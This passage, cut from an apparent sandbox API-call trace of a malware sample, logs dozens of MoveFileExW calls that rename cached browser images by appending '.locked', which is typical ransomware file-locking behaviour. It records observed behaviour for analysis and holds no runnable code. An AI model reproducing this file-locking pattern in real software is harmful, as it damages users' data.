HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbr4yq[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.607] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbupaj[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbupaj[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.657] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbveow[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbveow[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.663] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbvlcg[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbvlcg[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.667] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbvskp[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbvskp[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.676] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbyfeh[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbyfeh[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.682] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbz5vt[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbz5vt[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.687] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc02gr[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc02gr[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.694] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc02gr[2].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc02gr[2].jpg.locked"), dwFlags=0x2) returned 1 [0151.699] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc03b1[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc03b1[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.703] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc06ub[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc06ub[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.714] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0djg[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0djg[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.719] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0g7a[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0g7a[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.725] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0lf2[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0lf2[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.734] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0mk1[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0mk1[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.745] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0qlb[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0qlb[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.761] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe7kpz[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe7kpz[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.766] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe8ila[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe8ila[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.778] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe972f[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe972f[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.791] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe9tdx[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe9tdx[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.812] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbedrqt[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbedrqt[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.817] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeeewt[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeeewt[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.824] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeeis3[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeeis3[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.829] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeekvv[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeekvv[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.896] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeend8[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeend8[1].png.locked"), dwFlags=0x2) returned 1 [0151.915] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeewzb[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeewzb[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.922] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeez0k[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeez0k[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.936] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbef6s4[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbef6s4[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.941] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefac5[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefac5[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.950] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefgdi[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefgdi[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.956] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefjut[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefjut[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.966] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefkgi[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefkgi[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.979] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefrka[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefrka[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.993] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefrwv[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefrwv[1].jpg.locked"), dwFlags=0x2) returned 1 [0152.013] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefwtu[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefwtu[1].jpg.locked"), dwFlags=0x2) returned 1 [0152.022] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefy4x[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS 